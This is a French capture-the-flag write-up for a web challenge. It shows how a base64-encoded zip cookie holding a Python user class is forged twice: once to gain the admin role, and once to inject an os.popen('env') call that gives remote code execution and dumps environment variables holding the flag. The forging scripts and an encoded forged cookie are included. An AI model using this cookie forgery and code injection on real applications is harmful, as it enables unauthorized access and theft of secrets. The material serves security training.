Co(mpressed)okies
Flag: CYBN{Wh4t_4_w31rd_w4y_t0_st0r3_d4t4}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Etape 1 - Connexion à l'admin
On commence par créer un compte et s'enregistrer, puis on se connecte. Ensuite, on peut récupérer notre cookie :

Sur CyberChef, on peut voir que c'est un fichier zip qui est encodé en base64 :

Le fichier à l'intérieur est user.py
et ressemble à ça :
import base64
import io
import typing
class User:
_default_nickname: str = 'ThaySan'
_default_first_name: str = 'Thay'
_default_last_name: str = 'San'
_default_role: typing.Literal["user", "admin"] = 'user'
def __init__(
self,
nickname: str | None = None,
first_name: str | None = None,
last_name: str | None = None,
role: typing.Literal["user", "admin"] | None = None,
) -> None:
self.nickname = nickname or self._default_nickname
self.first_name = first_name or self._default_first_name
self.last_name = last_name or self._default_last_name
self.role = role or self._default_role
Il faut changer la valeur user
en admin
à la ligne 10. En python ça donne :
from base64 import b64decode, b64encode
from zipfile import ZipFile, ZIP_DEFLATED
from io import BytesIO
user_py = '''import base64
import io
import typing
class User:
_default_nickname: str = 'ThaySan'
_default_first_name: str = 'Thay'
_default_last_name: str = 'San'
_default_role: typing.Literal["user", "admin"] = 'admin'
def __init__(
self,
nickname: str | None = None,
first_name: str | None = None,
last_name: str | None = None,
role: typing.Literal["user", "admin"] | None = None,
) -> None:
self.nickname = nickname or self._default_nickname
self.first_name = first_name or self._default_first_name
self.last_name = last_name or self._default_last_name
self.role = role or self._default_role'''
buffer = BytesIO()
with ZipFile(buffer, 'w', ZIP_DEFLATED) as zip_file:
zip_file.writestr('user.py', user_py)
buffer.seek(0)
print(b64encode(buffer.read()).decode())
UEsDBBQAAAAIAAV1d1lrdpCx6QAAAKkCAAAHAAAAdXNlci5weY2Rz24CIRDG7zzFZC+rifVkPGxin6DxYj2ZhqCy7UQWDODBpA\vwMZdAU3kwvz5fgMfYHc21sNeOLlcMOwzNPfIX8+ofxljByWcg62TtmFAix9lKy7Kc42HkxadbMB5Cyuov\EdSN0ncpatI7EuTBT0SGZqJxkjaJ2f7H5F3pphdpVF7pZNYNKHDvU1U9AY1izSBMMnKNGz\kkVsJyUrWzIUud\MPaaElzwjaKch8vZJmRF6r3rDyBp\DxGdMm8TK\WyDxEBrb94ofS9HRGMEPSYGPvXTAYJn4MS7woZXS4SkIjFvBhOoNUEsBAhQAFAAAAAgABXV3WWt2kLHpAAAAqQIAAAcAAAAAAAAAAAAAAIABAAAAAHVzZXIucHlQSwUGAAAAAAEAAQA1AAAADgEAAAAA
On met ce cookie dans notre navigateur et on va sur la page Administration :
Etape 2 - Remote Code Execution
Sur la page d'Administration, on a le code du serveur. En le décortiquant, on comprend que le fichier user.py doit faire 22 lignes et que l'on peut modifier uniquement les lignes 7 à 10 (si on commence à compter à 1).
On peut alors injection dans la ligne du nickname
pour obtenir le résultat de notre commande. Pour obtenir le flag, il faut lister les variables d'environnement.
from base64 import b64decode, b64encode
from zipfile import ZipFile, ZIP_DEFLATED
from io import BytesIO
user_py = '''import base64
import io
import typing
class User:
_default_nickname: str = __import__('os').popen('env').read()
_default_first_name: str = 'Thay'
_default_last_name: str = 'San'
_default_role: typing.Literal["user", "admin"] = 'admin'
def __init__(
self,
nickname: str | None = None,
first_name: str | None = None,
last_name: str | None = None,
role: typing.Literal["user", "admin"] | None = None,
) -> None:
self.nickname = nickname or self._default_nickname
self.first_name = first_name or self._default_first_name
self.last_name = last_name or self._default_last_name
self.role = role or self._default_role'''
buffer = BytesIO()
with ZipFile(buffer, 'w', ZIP_DEFLATED) as zip_file:
zip_file.writestr('user.py', user_py)
buffer.seek(0)
print(b64encode(buffer.read()).decode())

Dernière mise à jour
Cet article vous a-t-il été utile ?